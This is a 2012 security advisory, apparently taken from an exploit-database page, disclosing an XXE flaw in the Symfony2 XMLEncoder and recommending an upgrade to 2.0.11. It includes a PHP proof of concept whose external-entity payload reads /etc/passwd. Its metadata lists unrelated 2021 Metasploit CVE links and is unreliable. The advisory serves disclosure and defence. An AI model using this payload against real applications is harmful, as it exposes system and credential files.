Sense of Security - Security Advisory - SOS-12-002

vendor:

Symfony2

by:

Phil Taylor from Sense of Security Labs

5,5

CVSS

MEDIUM

Exposure of sensitive information

611

CWE

Product Name: Symfony2

Affected Version From: 2.0.x

Affected Version To: 2.0.10

Patch Exists: YES

Related CWE: CVE - not yet assigned

CPE: a:symfony:symfony2

Metasploit: https://www.rapid7.com/db/vulnerabilities/debian-cve-2021-28704/, https://www.rapid7.com/db/vulnerabilities/debian-cve-2021-28707/, https://www.rapid7.com/db/vulnerabilities/debian-cve-2021-28708/, https://www.rapid7.com/db/vulnerabilities/suse-cve-2021-28704/, https://www.rapid7.com/db/vulnerabilities/suse-cve-2021-28707/, https://www.rapid7.com/db/vulnerabilities/suse-cve-2021-28708/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: PHP

2012

Sense of Security – Security Advisory – SOS-12-002

The XMLEncoder component of Symfony 2.0.x fails to disable external entities when parsing XML. In the Symfony2 framework the XML class may be used to deserialize objects or as part of a client/server API. By using external entities it is possible to include arbitrary files from the file system. Any application written in Symfony2 that parses user supplied XML is affected.

Mitigation:

Upgrade to Symfony 2.0.11 or apply the vendor provided patch.

Source

Exploit-DB raw data:

Sense of Security - Security Advisory - SOS-12-002

Release Date.                 05-Mar-2012
Last Update.                 -
Vendor Notification Date.       24-Feb-2012
Product.                        Symfony2
Platform.                       PHP
Affected versions.              2.0.x - 2.0.10
Severity Rating.                Medium
Impact.                         Exposure of sensitive information
Attack Vector.                  Remote without authentication
Solution Status.                Vendor patch / Upgrade to 2.0.11
CVE reference.                  CVE - not yet assigned

Details.
The XMLEncoder component of Symfony 2.0.x fails to disable external
entities when parsing XML. In the Symfony2 framework the XML class
may be used to deserialize objects or as part of a client/server
API. By using external entities it is possible to include arbitrary
files from the file system. Any application written in Symfony2
that parses user supplied XML is affected.

Proof of Concept.
$serializer = new Serializer(array(), array(
    'xml' => new \Symfony\Component\Serializer\Encoder\XmlEncoder()
));

$x = $serializer->decode('<?xml version="1.0"?><!DOCTYPE scan
[<!ENTITY test SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/passwd">]><scan>&test;</scan>',
'xml');

var_dump($x);

// $x will now contain a copy of /etc/passwd base64 encoded.

Solution.
Upgrade to Symfony 2.0.11 or apply the vendor provided patch.

Discovered by.
Phil Taylor from Sense of Security Labs.

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